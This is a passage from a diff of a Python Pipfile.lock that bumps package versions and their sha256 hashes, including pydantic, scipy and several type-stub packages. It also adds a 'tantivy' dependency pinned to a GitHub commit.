"sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088", - "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca", - "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343", - "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645", - "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db", - "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df", - "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3", - "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86", - "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2", - "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a", - "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf", - "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7", - "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394", - "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40", - "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3", - "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6", - "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74", - "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0", - "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3", - "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91", - "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5", - "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9", - "sha256:8512a0c38cfd4e66a858ddd1b17705587900dd760c6003998e9472b77b56d417", - "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8", - "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b", - "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6", - "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb", - "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73", - "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b", - "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df", - "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9", - "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f", - "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0", - "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857", - "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a", - "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249", - "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30", - "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292", - "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b", - "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d", - "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b", - "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c", - "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca", - "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7", - "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75", - "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae", - "sha256:d4606a527e30548153be1a9f155f4e283d109ffba663a15856089fb55f933e47", - "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b", - "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470", - "sha256:d967650d3f56af314b72df7089d96cda1083a7fc2da05b375d2bc48c82ab3f3c", - "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564", - "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9", - "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099", - "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0", - "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5", - "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19", - "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1", - "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526" + "sha256:02a807b2a58d5cdebb07050efe3d7deaf915468d112dfcf5e426d0564aa3aa4a", + "sha256:0b72b802496cccbd9b31acea72b6f87e7771ccfd7f7927437d592e5c92ed703c", + "sha256:0d3f83ffb18dc57243e0151331e3c383b05e5b6c5029ac29f754745c800f8ed9", + "sha256:10b5582744abd9858947d163843d323d0b67be9432db50f8bf83031032bc218d", + "sha256:123910c58234a8d40eaab595bc56a5ae49bdd90122dde5bdc012c20595a94c14", + "sha256:1482fba7fbed96ea7842b5a7fc11d61727e8be75a077e603e8ab49d24e234383", + "sha256:19834e3f91f485442adc1ee440171ec5d9a4840a1f7bd5ed97833544719ce10b", + "sha256:1d363666acc21d2c204dd8705c0e0457d7b2ee7a76cb16ffc099d6799744ac99", + "sha256:211ef8d174601b80e01436f4e6905aca341b15a566f35a10dd8d1e93f5dbb3b7", + "sha256:269d06fa0f9624455ce08ae0179430eea61085e3cf6457f05982b37fd2cefe17", + "sha256:2e7dcdfad252f2ca83c685b0fa9fba00e4d8f243b73839229d56ee3d9d219314", + "sha256:334ef6ed8337bd0b58bb0ae4f7f2dcc84c9f116e474bb4ec250a8bb9bd797a66", + "sha256:343675e0da2f3c69d3fb1e894ba0a1acf58f481f3b9372ce1eb465ef93cf6fed", + "sha256:37f60b3a42d8b5499be910d1267b24355c495064f271cfe74bf28b17b099133c", + "sha256:38ad562a104cd41e9d4644f46ea37167b93190c6d5e4048fcc4b80d34ecb278f", + "sha256:3c0d36f5adc6e6100aedbc976d7428a9f7194ea79911aa4bf471f44ee13a9464", + "sha256:3fd2b18432e7298fcbec3d39e1a0aa91ae9ea1c93356ec089421fabc3651572b", + "sha256:4a1a6244ff96343e9994e37e5b4839f09a0207d35ef6134dce5c20d260d0302c", + "sha256:4cd83fb8d8e17633ad534d9ac93719ef8937568d730ef07ac3a98cb520fd93e4", + "sha256:527cd90ba3d8d7ae7dceb06fda619895768a46a1b4e423bdb24c1969823b8362", + "sha256:56867a3b3cf26dc8a0beecdb4459c59f4c47cdd5424618c08515f682e1d46692", + "sha256:621fcb346141ae08cb95424ebfc5b014361621b8132c48e538e34c3c93ac7365", + "sha256:63acdc34c9cde42a6534518e32ce55c30f932b473c62c235a466469a710bfbf9", + "sha256:6512592cc49b2c6d9b19fbaa0312124cd4c4c8a90d28473f86f92685cc5fef8e", + "sha256:6672fdde0fd1a60b44fb1751a7779c6db487e42b0cc65e7caa6aa686874e79fb", + "sha256:6a5b2d4cdaf1c71057ff823a19d850ed5c6c2d3686cb71f73ae4d6382aaa7a06", + "sha256:6a68d670c8f89ff65c82b936275369e532772eebc027c3be68c6b87ad05ca695", + "sha256:6bb36985f606a7c49916eff74ab99399cdfd09241c375d5a820bb855dfb4af9f", + "sha256:73b2f1922a39d5d59cc0e597987300df3396b148a9bd10b76a058a2f2772fc04", + "sha256:7709fd7bb02b31908dc8fd35bfd0a29fc24681d5cc9ac1d64ad07f8d2b7db62f", + "sha256:8060b32d8586e912a7b7dac2d15b28dbbd63a174ab32f5bc6d107a1c4143f40b", + "sha256:80dcd3c938cbcac986c5c92779db8e8ce51a89a849c135172c88ecbdc8c056b7", + "sha256:813720bd57e193391dfe26f4871186cf460848b83df7e23e6bef698a7624b4c9", + "sha256:831d6f35037cf18ca5e80a737a27d822d87cd922521d18ed3dbc8a6967be50ce", + "sha256:871b0a8835f9e9d461b7fdaa1b57e3492dd45398e87324c047469ce2fc9f516c", + "sha256:952256c2bc5b4ee8df8dfc54fc4de330970bf5d79253c863fb5e6761f00dda35", + "sha256:96d9ea57292f636ec851a9bb961a5cc0f9976900e16e5d5647f19aa36ba6366b", + "sha256:9a812224a5fb17a538207e8cf8e86f517df2080c8ee0f8c1ed2bdaccd18f38f4", + "sha256:9adbd8ecf097e34ada8efde9b6fec4dd2a903b1e98037adf72d12993a1c80b51", + "sha256:9de687479faec7db5b198cc365bc34addd256b0028956501f4d4d5e9ca2e240a", + "sha256:a048293392d4e058298710a54dfaefcefdf49d287cd33fb1f7d63d55426e4355", + "sha256:aa15a2ec737cb609ed48902b45c5e4ff6044feb5dcdfcf6fa8482379190330d7", + "sha256:abe1ef3d780de56defd0c77c5ba95e152f4e4c4e12d7e11dd8447d338b85a625", + "sha256:ad6fb737e46b8bd63156b8f59ba6cdef46fe2b7db0c5804388a2d0519b8ddb99", + "sha256:b1660a15a446206c8545edc292ab5c48b91ff732f91b3d3b30d9a915d5ec4779", + "sha256:b505fcfc26f4148551826a96f7317e02c400665fa0883fe505d4fcaab1dabfdd", + "sha256:b822fab253ac0f330ee807e7485769e3ac85d5eef827ca224feaaefa462dc0d0", + "sha256:bdd696947cd695924aecb3870660b7545a19851f93b9d327ef8236bfc49be705", + "sha256:bdfaeecf8cc705d35d8e6de324bf58427d7eafb55f67050d8f28053a3d57118c", + "sha256:be557119bf467d37a8099d91fbf11b2de5eb1fd5fc5b91598407574848dc910f", + "sha256:c6b5ce7f40f0e2f8b88c28e6691ca6806814157ff05e794cdd161be928550f4c", + "sha256:c94e4e924d09b5a3e37b853fe5924a95eac058cb6f6fb437ebb588b7eda79870", + "sha256:cc3e2679ea13b4de79bdc44b25a0c4fcd5e94e21b8f290791744ac42d34a0353", + "sha256:d1e22c22f7826096ad503e9bb681b05b8c1f5a8138469b255eb91f26a76634f2", + "sha256:d5539f6da3418c3dc002739cb2bb8d169056aa66e0c83f6bacae0cd3ac26b423", + "sha256:d55db1db455c59b46f794346efce896e754b8942817f46a1bada2d29446e305a", + "sha256:e09dea87cc91aea5500262993cbd484b41edf8af74f976719dd83fe724644cd6", + "sha256:e52a712c38e5fb4fd68e00dc3caf00b60cb65634d50e32281a9d6431b33b4af1", + "sha256:e693e759e172fa1c2c90d35dea4acbdd1d609b6936115d3739148d5e4cd11947", + "sha256:ecf94aa539e97a8411b5ea52fc6ccd8371be9550c4041011a091eb8b3ca1d810", + "sha256:f351479a6914fd81a55c8e68963609f792d9b067fb8a60a042c585a621e0de4f", + "sha256:f47932c434a3c8d3c86d865443fadc1fbf574e9b11d6650b656e602b1797908a" ], "markers": "platform_python_implementation == 'CPython'", - "version": "==2.0.2" + "version": "==3.0.0" }, "gunicorn": { "hashes": [ @@ -1601,45 +1603,45 @@ }, "pydantic": { "hashes": [ - "sha256:0fe8a415cea8f340e7a9af9c54fc71a649b43e8ca3cc732986116b3cb135d303", - "sha256:1289c180abd4bd4555bb927c42ee42abc3aee02b0fb2d1223fb7c6e5bef87dbe", - "sha256:1eb2085c13bce1612da8537b2d90f549c8cbb05c67e8f22854e201bde5d98a47", - "sha256:2031de0967c279df0d8a1c72b4ffc411ecd06bac607a212892757db7462fc494", - "sha256:2a7bac939fa326db1ab741c9d7f44c565a1d1e80908b3797f7f81a4f86bc8d33", - "sha256:2d5a58feb9a39f481eda4d5ca220aa8b9d4f21a41274760b9bc66bfd72595b86", - "sha256:2f9a6fab5f82ada41d56b0602606a5506aab165ca54e52bc4545028382ef1c5d", - "sha256:2fcfb5296d7877af406ba1547dfde9943b1256d8928732267e2653c26938cd9c", - "sha256:549a8e3d81df0a85226963611950b12d2d334f214436a19537b2efed61b7639a", - "sha256:598da88dfa127b666852bef6d0d796573a8cf5009ffd62104094a4fe39599565", - "sha256:5d1197e462e0364906cbc19681605cb7c036f2475c899b6f296104ad42b9f5fb", - "sha256:69328e15cfda2c392da4e713443c7dbffa1505bc9d566e71e55abe14c97ddc62", - "sha256:6a9dfa722316f4acf4460afdf5d41d5246a80e249c7ff475c43a3a1e9d75cf62", - "sha256:6b30bcb8cbfccfcf02acb8f1a261143fab622831d9c0989707e0e659f77a18e0", - "sha256:6c076be61cd0177a8433c0adcb03475baf4ee91edf5a4e550161ad57fc90f523", - "sha256:771735dc43cf8383959dc9b90aa281f0b6092321ca98677c5fb6125a6f56d58d", - "sha256:795e34e6cc065f8f498c89b894a3c6da294a936ee71e644e4bd44de048af1405", - "sha256:87afda5539d5140cb8ba9e8b8c8865cb5b1463924d38490d73d3ccfd80896b3f", - "sha256:8fb2aa3ab3728d950bcc885a2e9eff6c8fc40bc0b7bb434e555c215491bcf48b", - "sha256:a1fcb59f2f355ec350073af41d927bf83a63b50e640f4dbaa01053a28b7a7718", - "sha256:a5e7add47a5b5a40c49b3036d464e3c7802f8ae0d1e66035ea16aa5b7a3923ed", - "sha256:a73f489aebd0c2121ed974054cb2759af8a9f747de120acd2c3394cf84176ccb", - "sha256:ab26038b8375581dc832a63c948f261ae0aa21f1d34c1293469f135fa92972a5", - "sha256:b0d191db0f92dfcb1dec210ca244fdae5cbe918c6050b342d619c09d31eea0cc", - "sha256:b749a43aa51e32839c9d71dc67eb1e4221bb04af1033a32e3923d46f9effa942", - "sha256:b7ccf02d7eb340b216ec33e53a3a629856afe1c6e0ef91d84a4e6f2fb2ca70fe", - "sha256:ba5b2e6fe6ca2b7e013398bc7d7b170e21cce322d266ffcd57cca313e54fb246", - "sha256:ba5c4a8552bff16c61882db58544116d021d0b31ee7c66958d14cf386a5b5350", - "sha256:c79e6a11a07da7374f46970410b41d5e266f7f38f6a17a9c4823db80dadf4303", - "sha256:ca48477862372ac3770969b9d75f1bf66131d386dba79506c46d75e6b48c1e09", - "sha256:dea7adcc33d5d105896401a1f37d56b47d443a2b2605ff8a969a0ed5543f7e33", - "sha256:e0a16d274b588767602b7646fa05af2782576a6cf1022f4ba74cbb4db66f6ca8", - "sha256:e4129b528c6baa99a429f97ce733fff478ec955513630e61b49804b6cf9b224a", - "sha256:e5f805d2d5d0a41633651a73fa4ecdd0b3d7a49de4ec3fadf062fe16501ddbf1", - "sha256:ef6c96b2baa2100ec91a4b428f80d8f28a3c9e53568219b6c298c1125572ebc6", - "sha256:fdbdd1d630195689f325c9ef1a12900524dceb503b00a987663ff4f58669b93d" + "sha256:1740068fd8e2ef6eb27a20e5651df000978edce6da6803c2bef0bc74540f9548", + "sha256:210ce042e8f6f7c01168b2d84d4c9eb2b009fe7bf572c2266e235edf14bacd80", + "sha256:32c8b48dcd3b2ac4e78b0ba4af3a2c2eb6048cb75202f0ea7b34feb740efc340", + "sha256:3ecea2b9d80e5333303eeb77e180b90e95eea8f765d08c3d278cd56b00345d01", + "sha256:4b03e42ec20286f052490423682016fd80fda830d8e4119f8ab13ec7464c0132", + "sha256:4c5370a7edaac06daee3af1c8b1192e305bc102abcbf2a92374b5bc793818599", + "sha256:56e3ff861c3b9c6857579de282ce8baabf443f42ffba355bf070770ed63e11e1", + "sha256:5a1f9f747851338933942db7af7b6ee8268568ef2ed86c4185c6ef4402e80ba8", + "sha256:5e08865bc6464df8c7d61439ef4439829e3ab62ab1669cddea8dd00cd74b9ffe", + "sha256:61d9dce220447fb74f45e73d7ff3b530e25db30192ad8d425166d43c5deb6df0", + "sha256:654db58ae399fe6434e55325a2c3e959836bd17a6f6a0b6ca8107ea0571d2e17", + "sha256:678bcf5591b63cc917100dc50ab6caebe597ac67e8c9ccb75e698f66038ea953", + "sha256:6cf25c1a65c27923a17b3da28a0bdb99f62ee04230c931d83e888012851f4e7f", + "sha256:75ac15385a3534d887a99c713aa3da88a30fbd6204a5cd0dc4dab3d770b9bd2f", + "sha256:75b297827b59bc229cac1a23a2f7a4ac0031068e5be0ce385be1462e7e17a35d", + "sha256:7d6f6e7305244bddb4414ba7094ce910560c907bdfa3501e9db1a7fd7eaea127", + "sha256:84bafe2e60b5e78bc64a2941b4c071a4b7404c5c907f5f5a99b0139781e69ed8", + "sha256:854223752ba81e3abf663d685f105c64150873cc6f5d0c01d3e3220bcff7d36f", + "sha256:8ae5dd6b721459bfa30805f4c25880e0dd78fc5b5879f9f7a692196ddcb5a580", + "sha256:8ef467901d7a41fa0ca6db9ae3ec0021e3f657ce2c208e98cd511f3161c762c6", + "sha256:968ac42970f57b8344ee08837b62f6ee6f53c33f603547a55571c954a4225691", + "sha256:97cce3ae7341f7620a0ba5ef6cf043975cd9d2b81f3aa5f4ea37928269bc1b87", + "sha256:9849f031cf8a2f0a928fe885e5a04b08006d6d41876b8bbd2fc68a18f9f2e3fd", + "sha256:9f00790179497767aae6bcdc36355792c79e7bbb20b145ff449700eb076c5f96", + "sha256:b87326822e71bd5f313e7d3bfdc77ac3247035ac10b0c0618bd99dcf95b1e687", + "sha256:b97c1fac8c49be29486df85968682b0afa77e1b809aff74b83081cc115e52f33", + "sha256:bc0898c12f8e9c97f6cd44c0ed70d55749eaf783716896960b4ecce2edfd2d69", + "sha256:c553f6a156deb868ba38a23cf0df886c63492e9257f60a79c0fd8e7173537653", + "sha256:c636925f38b8db208e09d344c7aa4f29a86bb9947495dd6b6d376ad10334fb78", + "sha256:c958d053453a1c4b1c2062b05cd42d9d5c8eb67537b8d5a7e3c3032943ecd261", + "sha256:d3a3c792a58e1622667a2837512099eac62490cdfd63bd407993aaf200a4cf1f", + "sha256:e31647d85a2013d926ce60b84f9dd5300d44535a9941fe825dc349ae1f760df9", + "sha256:e70ca129d2053fb8b728ee7d1af8e553a928d7e301a311094b8a0501adc8763d", + "sha256:efff03cc7a4f29d9009d1c96ceb1e7a70a65cfe86e89d34e4a5f2ab1e5693737", + "sha256:f59ef915cac80275245824e9d771ee939133be38215555e9dc90c6cb148aaeb5", + "sha256:f8e81fc5fb17dae698f52bdd1c4f18b6ca674d7068242b2aff075f588301bbb0" ], "markers": "python_version >= '3.7'", - "version": "==1.10.12" + "version": "==1.10.13" }, "pydot": { "hashes": [ @@ -1861,34 +1863,34 @@ }, "scipy": { "hashes": [ - "sha256:0f3261f14b767b316d7137c66cc4f33a80ea05841b9c87ad83a726205b901423", - "sha256:10eb6af2f751aa3424762948e5352f707b0dece77288206f227864ddf675aca0", - "sha256:1342ca385c673208f32472830c10110a9dcd053cf0c4b7d4cd7026d0335a6c1d", - "sha256:214cdf04bbae7a54784f8431f976704ed607c4bc69ba0d5d5d6a9df84374df76", - "sha256:2b997a5369e2d30c97995dcb29d638701f8000d04df01b8e947f206e5d0ac788", - "sha256:2c91cf049ffb5575917f2a01da1da082fd24ed48120d08a6e7297dfcac771dcd", - "sha256:3aeb87661de987f8ec56fa6950863994cd427209158255a389fc5aea51fa7055", - "sha256:4447ad057d7597476f9862ecbd9285bbf13ba9d73ce25acfa4e4b11c6801b4c9", - "sha256:542a757e2a6ec409e71df3d8fd20127afbbacb1c07990cb23c5870c13953d899", - "sha256:8d9886f44ef8c9e776cb7527fb01455bf4f4a46c455c4682edc2c2cc8cd78562", - "sha256:90d3b1364e751d8214e325c371f0ee0dd38419268bf4888b2ae1040a6b266b2a", - "sha256:95763fbda1206bec41157582bea482f50eb3702c85fffcf6d24394b071c0e87a", - "sha256:ac74b1512d38718fb6a491c439aa7b3605b96b1ed3be6599c17d49d6c60fca18", - "sha256:afdb0d983f6135d50770dd979df50bf1c7f58b5b33e0eb8cf5c73c70600eae1d", - "sha256:b0620240ef445b5ddde52460e6bc3483b7c9c750275369379e5f609a1050911c", - "sha256:b133f237bd8ba73bad51bc12eb4f2d84cbec999753bf25ba58235e9fc2096d80", - "sha256:b29318a5e39bd200ca4381d80b065cdf3076c7d7281c5e36569e99273867f61d", - "sha256:b8425fa963a32936c9773ee3ce44a765d8ff67eed5f4ac81dc1e4a819a238ee9", - "sha256:d2b813bfbe8dec6a75164523de650bad41f4405d35b0fa24c2c28ae07fcefb20", - "sha256:d690e1ca993c8f7ede6d22e5637541217fc6a4d3f78b3672a6fe454dbb7eb9a7", - "sha256:e367904a0fec76433bf3fbf3e85bf60dae8e9e585ffd21898ab1085a29a04d16", - "sha256:ea932570b1c2a30edafca922345854ff2cd20d43cd9123b6dacfdecebfc1a80b", - "sha256:f28f1f6cfeb48339c192efc6275749b2a25a7e49c4d8369a28b6591da02fbc9a", - "sha256:f73102f769ee06041a3aa26b5841359b1a93cc364ce45609657751795e8f4a4a", - "sha256:fa4909c6c20c3d91480533cddbc0e7c6d849e7d9ded692918c76ce5964997898" + "sha256:00f325434b6424952fbb636506f0567898dca7b0f7654d48f1c382ea338ce9a3", + "sha256:033c3fd95d55012dd1148b201b72ae854d5086d25e7c316ec9850de4fe776929", + "sha256:0d3a136ae1ff0883fffbb1b05b0b2fea251cb1046a5077d0b435a1839b3e52b7", + "sha256:15f237e890c24aef6891c7d008f9ff7e758c6ef39a2b5df264650eb7900403c0", + "sha256:370f569c57e1d888304052c18e58f4a927338eafdaef78613c685ca2ea0d1fa0", + "sha256:3e1a8a4657673bfae1e05e1e1d6e94b0cabe5ed0c7c144c8aa7b7dbb774ce5c1", + "sha256:4b4bb134c7aa457e26cc6ea482b016fef45db71417d55cc6d8f43d799cdf9ef2", + "sha256:5305792c7110e32ff155aed0df46aa60a60fc6e52cd4ee02cdeb67eaccd5356e", + "sha256:5664e364f90be8219283eeb844323ff8cd79d7acbd64e15eb9c46b9bc7f6a42a", + "sha256:5f290cf561a4b4edfe8d1001ee4be6da60c1c4ea712985b58bf6bc62badee221", + "sha256:74e89dc5e00201e71dd94f5f382ab1c6a9f3ff806c7d24e4e90928bb1aafb280", + "sha256:7abda0e62ef00cde826d441485e2e32fe737bdddee3324e35c0e01dee65e2a88", + "sha256:90271dbde4be191522b3903fc97334e3956d7cfb9cce3f0718d0ab4fd7d8bfd6", + "sha256:91770cb3b1e81ae19463b3c235bf1e0e330767dca9eb4cd73ba3ded6c4151e4d", + "sha256:925c6f09d0053b1c0f90b2d92d03b261e889b20d1c9b08a3a51f61afc5f58165", + "sha256:9885e3e4f13b2bd44aaf2a1a6390a11add9f48d5295f7a592393ceb8991577a3", + "sha256:9ea7f579182d83d00fed0e5c11a4aa5ffe01460444219dedc448a36adf0c3917", + "sha256:a63d1ec9cadecce838467ce0631c17c15c7197ae61e49429434ba01d618caa83", + "sha256:bae66a2d7d5768eaa33008fa5a974389f167183c87bf39160d3fefe6664f8ddc", + "sha256:bba4d955f54edd61899776bad459bf7326e14b9fa1c552181f0479cc60a568cd", + "sha256:c77da50c9a91e23beb63c2a711ef9e9ca9a2060442757dffee34ea41847d8156", + "sha256:d2f6dee6cbb0e263b8142ed587bc93e3ed5e777f1f75448d24fb923d9fd4dce6", + "sha256:dfcc1552add7cb7c13fb70efcb2389d0624d571aaf2c80b04117e2755a0c5d15", + "sha256:e04aa19acc324a1a076abb4035dabe9b64badb19f76ad9c798bde39d41025cdc", + "sha256:e1f97cd89c0fe1a0685f8f89d85fa305deb3067d0668151571ba50913e445820" ], "markers": "python_version < '3.13' and python_version >= '3.9'", - "version": "==1.11.2" + "version": "==1.11.3" }, "setuptools": { "hashes": [ @@ -1951,6 +1953,11 @@ "markers": "python_version >= '3.8'", "version": "==3.5.0" }, + "tantivy": { + "git": "git+https://github.com/HXSecurity/tantivy-py", + "markers": "python_version >= '3.7'", + "ref": "1b8841a38de01a0c27e16ccf224eb405a2bf23ee" + }, "tomli": { "hashes": [ "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", @@ -1978,11 +1985,11 @@ }, "types-awscrt": { "hashes": [ - "sha256:61833aa140e724a9098025610f4b8cde3dcf65b842631d7447378f9f5db4e1fd", - "sha256:68fffeb75396e9e7614cd930b2d52295f680230774750907bcafb56f11514043" + "sha256:477a14565909312fe1de70d0b301548e83c038f436b8a1d7c83729e87cdd0b85", + "sha256:d8c379420ba75b1e43687d12b0b772a5bb17f352859a2bef6aa8f0abde123f55" ], "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.19.1" + "version": "==0.19.2" }, "types-pymysql": { "hashes": [ @@ -2016,35 +2023,36 @@ }, "types-pyyaml": { "hashes": [ - "sha256:7d340b19ca28cddfdba438ee638cd4084bde213e501a3978738543e27094775b", - "sha256:a461508f3096d1d5810ec5ab95d7eeecb651f3a15b71959999988942063bf01d" + "sha256:334373d392fde0fdf95af5c3f1661885fa10c52167b14593eb856289e1855062", + "sha256:c05bc6c158facb0676674b7f11fe3960db4f389718e19e62bd2b84d6205cfd24" ], "index": "pypi", - "version": "==6.0.12.11" + "version": "==6.0.12.12" }, "types-redis": { "hashes": [ - "sha256:7865a843802937ab2ddca33579c4e255bfe73f87af85824ead7a6729ba92fc52", - "sha256:e0e9dcc530623db3a41ec058ccefdcd5c7582557f02ab5f7aa9a27fe10a78d7e" + "sha256:05b1bf92879b25df20433fa1af07784a0d7928c616dc2ebf9087618db77ccbd0", + "sha256:28c4153ddb5c9d4f10def44a2454673c361d2d5fc3cd867cf3bb1520f3f59a38" ], "index": "pypi", - "version": "==4.6.0.6" + "version": "==4.6.0.7" }, "types-requests": { "hashes": [ - "sha256:938f51653c757716aeca5d72c405c5e2befad8b0d330e3b385ce7f148e1b10dc", - "sha256:d5d7a08965fca12bedf716eaf5430c6e3d0da9f3164a1dba2a7f3885f9ebe3c0" + "sha256:a2db9cb228a81da8348b49ad6db3f5519452dd20a9c1e1a868c83c5fe88fd1a9", + "sha256:cd74ce3b53c461f1228a9b783929ac73a666658f223e28ed29753771477b3bd0" ], "index": "pypi", - "version": "==2.31.0.3" + "markers": "python_version >= '3.7'", + "version": "==2.31.0.6" }, "types-s3transfer": { "hashes": [ - "sha256:1068877b6e59be5226fa3006ae64371ac9d5bc590dfdbd9c66fd0a075d3254ac", - "sha256:4ba9b483796fdcd026aa162ee03bdcedd2bf7d08e9387c820dcdd158b0102057" + "sha256:aca0f2486d0a3a5037cd5b8f3e20a4522a29579a8dd183281ff0aa1c4e2c8aa7", + "sha256:ae9ed9273465d9f43da8b96307383da410c6b59c3b2464c88d20b578768e97c6" ], "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.6.2" + "version": "==0.7.0" }, "types-urllib3": { "hashes": [ @@ -2119,10 +2127,10 @@ }, "wcwidth": { "hashes": [ - "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e", - "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0" + "sha256:77f719e01648ed600dfa5402c347481c0992263b81a027344f3e1ba25493a704", + "sha256:8705c569999ffbb4f6a87c6d1b80f324bd6db952f5eb0b95bc07517f4c1813d4" ], - "version": "==0.2.6" + "version": "==0.2.8" }, "xlrd": { "hashes": [ @@ -2149,39 +2157,45 @@ }, "zope.interface": { "hashes": [ - "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373", - "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb", - "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446", - "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8", - "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c", - "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8", - "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2", - "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f", - "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f", - "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5", - "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85", - "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc", - "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788", - "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518", - "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410", - "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464", - "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5", - "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d", - "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52", - 